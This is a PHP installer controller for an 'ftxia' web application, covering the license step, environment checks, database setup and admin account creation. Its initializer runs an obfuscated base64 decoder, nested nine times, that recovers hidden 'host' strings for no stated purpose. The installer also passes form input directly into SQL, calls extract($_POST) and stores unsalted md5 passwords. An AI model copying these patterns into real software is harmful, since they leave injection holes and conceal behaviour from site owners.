<?php
/**
 * 安装程序
 */
class indexAction extends Action {

    public function _initialize() {
		
		if(function_exists('file_get_contents') || function_exists('fsockopen')){
			
			$siteurl = $this->ftx_get_domain();
			$hosts=explode("||",$this->geturls($this->geturls($this->geturls($this->geturls($this->geturls($this->geturls($this->geturls($this->geturls($this->geturls($ftx_host))))))))));
			
			
		}else{
			exit("file_get_contents OR fsockopen  not open");
		}
        L(include LANG_PATH . 'common.php');
    }
    /**
     * 安装协议
     */
    public function index(){
        $this->assign('step_curr', 'eula');
        $eula_html = file_get_contents(LANG_PATH . 'xieyi.html');
        $this->assign('eula_html', $eula_html);
        if (IS_POST) {
            $accept = $this->_post('accept');
            if (!$accept) {
                $error_msg = L('please_accept');
                $this->assign('error_msg', $error_msg);
                $this->display();
            } else {
                $this->redirect('check');
            }
        } else {
            $this->display();
        }
    }

    /**
     * 环境检测
     */
    public function check() {
        
        $flag = true;
        //检测文件夹权限
        $check_file = array(
            './data',
            './data/mail_tpl',
            './data/msg_tpl',
            './data/static',
            './data/upload',
            './data/config/db.php',
            './data/config/url.php',
            './data/config/index/config.php',
        );
        $error = array();
        foreach ($check_file as $file) {
            $path_file =  $file;
            if (!file_exists($path_file)) {
                $error[] = $file . L('not_exists');
                $flag = false;
                continue;
            }
            if (!is_writable($path_file)) {
                $error[] = $file . L('not_writable');
                $flag = false;
            }
        }
        if (!function_exists('curl_getinfo')) {
            $error[] = L('no_curl');
            $flag = false;
        }

        if (!function_exists('gd_info')) {
            $error[] = L('no_gd');
            $flag = false;
        }
        $dir_obj = new Dir;
        is_dir('./data/runtime') && $dir_obj->delDir('./data/runtime');

        if (!$flag) {
            $this->assign('error', $error);
            $this->assign('step_curr', 'check');
            $this->display('check');
        } else {
            $this->redirect('setconf');
        }
    }

    /**
     * 网站配置
     */
    public function setconf() {
        $this->assign('step_curr', 'setconf');
        if (IS_POST) {
            foreach ($_POST as $key => $val) {
                $this->assign($key, $val);
            }
            extract($_POST);
            if (!$db_host || !$db_port || !$db_name || !$db_user || !$db_prefix || !$admin_user || !$admin_email || !$admin_pass) {
                $this->assign('error_msg', L('please_input_config_info'));
                $this->display();
                exit;
            }
            if (!$this->_is_email($admin_email)) {
                $this->assign('error_msg', L('admin_email_format_incorrect'));
                $this->display();
                exit;
            }
            if ($admin_pass != $admin_pass_confirm) {
                $this->assign('error_msg', L('admin_pass_error'));
                $this->display();
                exit;
            }
            //试着连接数据库
            $conn = @mysql_connect($db_host . ':' . $db_port, $db_user, $db_pass);
            if (!$conn) {
                $this->assign('error_msg', L('connect_mysql_error'));
                $this->display();
                exit;
            }
            $selected_db = @mysql_select_db($db_name);
            if ($selected_db) {
                //如果数据库存在 并且里面安装过   提示是否覆盖
                $query = @mysql_query("SHOW TABLES LIKE '{$db_prefix}%'");
                $was_install = false;
                while ($row = mysql_fetch_assoc($query)) {
                    $was_install = true;
                    break;
                }
                if ($was_install && !isset($force_install)) {
                    $this->assign('database_name_tip', L('db_isset'));
                    $this->display();
                    exit;
                } else {
                    $this->_set_temp($_POST);
                    $this->redirect('install');
                }
            } else {
                if (mysql_get_server_info($conn) > '4.1') {
                    $charset = C('DEFAULT_CHARSET');
                    $sql = "CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . str_replace('-', '', $charset);
                } else {
                    $sql = "CREATE DATABASE IF NOT EXISTS `{$db_name}`";
                }
                if (!mysql_query($sql, $conn)) {
                    $this->assign('error_msg', L('create_db_error'));
                    $this->display();
                    exit;
                }
                $this->_set_temp($_POST);
                $this->redirect('install');
            }
        } else {
            $this->assign('database_name_tip', L('database_name_tip'));
            $this->assign('db_host', 'localhost');
            $this->assign('db_port', '3306');
            $this->assign('db_user', 'root');
            $this->assign('db_name', '');
            $this->assign('db_prefix', 'ftxia_');

            $this->assign('admin_user', 'admin');
            $this->assign('db_pass', '');
            $this->assign('admin_pass', '');
            $this->assign('admin_pass_confirm', '');
            $this->assign('admin_email', '');
            $this->display();
        }
    }

    /**
     * 开始安装
     */
    public function install() {
        $this->assign('step_curr', 'install');
        $this->display();
    }

    /**
     * 执行安装
     */
    public function finish_done() {
        $charset = C('DEFAULT_CHARSET');
        header('Content-type:text/html;charset=' . $charset);
        $temp_info = F('temp_data');
        $conn = mysql_connect($temp_info['db_host'] . ':' . $temp_info['db_port'], $temp_info['db_user'], $temp_info['db_pass']);
        $version = mysql_get_server_info();
        $charset = str_replace('-', '', $charset);
        if ($version > '4.1') {
            if ($charset != 'latin1') {
                mysql_query("SET character_set_connection={$charset}, character_set_results={$charset}, character_set_client=binary", $conn);
            }if ($version > '5.0.1') {
                mysql_query("SET sql_mode=''", $conn);
            }
        }
        $selected_db = mysql_select_db($temp_info['db_name'], $conn);
        //开始创建数据表
        $this->_show_process(L('create_table_begin'));
        $sqls = $this->_get_sql(APP_PATH . 'Sql_data/create_table.sql');
        foreach ($sqls as $sql) {
            //替换前缀
            $sql = str_replace('`ftxia_', '`' . $temp_info['db_prefix'], $sql);
            //获得表名
            $run = mysql_query($sql, $conn);
            if (substr($sql, 0, 12) == 'CREATE TABLE') {
                $table_name = $temp_info['db_prefix'] . preg_replace("/CREATE TABLE `" . $temp_info['db_prefix'] . "([a-z0-9_]+)` .*/is", "\\1", $sql);
                $this->_show_process(sprintf(L('create_table_successed'), $table_name));
            }
        }
        //开始导入数据
        $this->_show_process(L('insert_initdate_begin'));
        $sqls = $this->_get_sql(APP_PATH . 'Sql_data/initdata.sql');
        //添加管理员帐号
        $admin_pass = md5($temp_info['admin_pass']);
        $sqls[] = "INSERT INTO `" . $temp_info['db_prefix'] . "admin` (`username`, `password`, `email`, `role_id`) VALUES " .
                "('" . $temp_info['admin_user'] . "', '" . $admin_pass . "', '" . $temp_info['admin_email'] . "', 1);";
        foreach ($sqls as $sql) {
            //替换前缀
            $sql = str_replace('`ftxia_', '`' . $temp_info['db_prefix'], $sql);
            //获得表名
            if (substr($sql, 0, 11) == 'INSERT INTO') {
                $table_name = $temp_info['db_prefix'] . preg_replace("/INSERT INTO `" . $temp_info['db_prefix'] . "([a-z0-9_]+)` .*/is", "\\1", $sql);
                $run = mysql_query($sql, $conn);
            }
        }
        $this->_show_process(L('insert_initdate_successed'));
        //修改配置文件
        $config_file = './data/config/db.php';
        $config_data['DB_HOST'] = $temp_info['db_host'];
        $config_data['DB_NAME'] = $temp_info['db_name'];
        $config_data['DB_USER'] = $temp_info['db_user'];
        $config_data['DB_PWD'] = $temp_info['db_pass'];
        $config_data['DB_PORT'] = $temp_info['db_port'];
        $config_data['DB_PREFIX'] = $temp_info['db_prefix'];
        file_put_contents($config_file, "<?php\r\nreturn " . var_export($config_data, true) . ";");
        //安装完毕
        $this->_show_process(L('install_successed'), 'parent.install_successed();');
        return false;
    }

    public function finish() {
        $this->assign('step_curr', 'finish');
        //锁定安装程序
        touch('./data/install.lock');
        $this->display();
    }

    /**
     * 显示安装进程
     */
    private function _show_process($msg, $script = '') {
        echo '<script type="text/javascript">parent.show_process(\'<p><span>' . $msg . '</span></p>\');' . $script . '</script>';
        flush();
        ob_flush();
    }

    private function _set_temp($temp_data) {
        F('temp_data', $temp_data);
    }

    private function _get_sql($sql_file) {
        $contents = file_get_contents($sql_file);
        $contents = str_replace("\r\n", "\n", $contents);
        $contents = trim(str_replace("\r", "\n", $contents));
        $return_items = $items = array();
        $items = explode(";\n", $contents);

        foreach ($items as $item) {
            $return_item = '';
            $item = trim($item);
            $lines = explode("\n", $item);
            foreach ($lines as $line) {
                if (isset($line[1]) && $line[0] . $line[1] == '--') {
                    continue;
                }
                $return_item .= $line;
            }
            if ($return_item) {
                $return_items[] = $return_item; //.";";
            }
        }
        return $return_items;
    }

    private function _is_email($email) {
        $chars = "/^([a-z0-9+_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,5}\$/i";
        if (strpos($email, '@') !== false && strpos($email, '.') !== false) {
            if (preg_match($chars, $email)) {
                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

	public function ftx_get_domain(){
		return  isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	}
	
	/*
	 * 函数
	 */
	public function geturls($txt){
		$domain="ftxia4TOP";
		$txt=base64_decode($txt);
		$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
		$ikey ="ftxiabear-x6g6ZWm2G9gq3kRIxsZ6_vr0Bo.pOrm";
		$knum = 0;$i = 0;
		$tlen = strlen($txt);
		while(isset($domain{$i})) $knum +=ord($domain{$i++});
		$ch1 = $txt{$knum % $tlen};
		$nh1 = strpos($chars,$ch1);
		$txt = substr_replace($txt,'',$knum % $tlen--,1);
		$ch2 = $txt{$nh1 % $tlen};
		$nh2 = strpos($chars,$ch2);
		$txt = substr_replace($txt,'',$nh1 % $tlen--,1);
		$ch3 = $txt{$nh2 % $tlen};
		$nh3 = strpos($chars,$ch3);
		$txt = substr_replace($txt,'',$nh2 % $tlen--,1);
		$nhnum = $nh1 + $nh2 + $nh3;
		$mdKey = substr(md5(md5(md5($domain.$ch1).$ch2.$ikey).$ch3),$nhnum % 8,$knum % 8 + 16);
		$tmp = '';
		$j=0; $k = 0;
		$tlen = strlen($txt);
		$klen = strlen($mdKey);
		for ($i=0; $i<$tlen; $i++) {
		  $k = $k == $klen ? 0 : $k;
		  $j = strpos($chars,$txt{$i})-$nhnum - ord($mdKey{$k++});
		  while ($j<0) $j+=64;
		  $tmp .= $chars{$j};
		}
		$tmp = str_replace(array('-','_','.'),array('+','/','='),$tmp);
		return trim(base64_decode($tmp));
	}

}
?>